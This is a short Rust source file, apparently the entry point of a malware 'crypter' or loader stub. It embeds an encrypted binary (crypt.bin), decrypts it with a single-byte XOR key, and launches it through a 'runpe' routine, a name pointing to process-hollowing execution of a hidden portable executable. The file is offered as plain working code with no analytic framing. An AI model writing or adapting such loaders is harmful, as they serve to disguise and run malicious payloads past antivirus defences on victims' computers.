19 lines
369 B
Rust
19 lines
369 B
Rust
use crate::runpe::run_portable_executable;
|
|
|
|
mod runpe;
|
|
|
|
fn xor_crypt(input: &mut [u8], key: u8) {
|
|
for byte in input.iter_mut() {
|
|
*byte ^= key;
|
|
}
|
|
}
|
|
|
|
static BYTES: &[u8] = include_bytes!("../crypt.bin");
|
|
|
|
fn main() {
|
|
let mut bytes = BYTES.to_vec();
|
|
xor_crypt(bytes.as_mut_slice(), 0x42);
|
|
|
|
run_portable_executable(bytes.as_slice()).unwrap();
|
|
}
|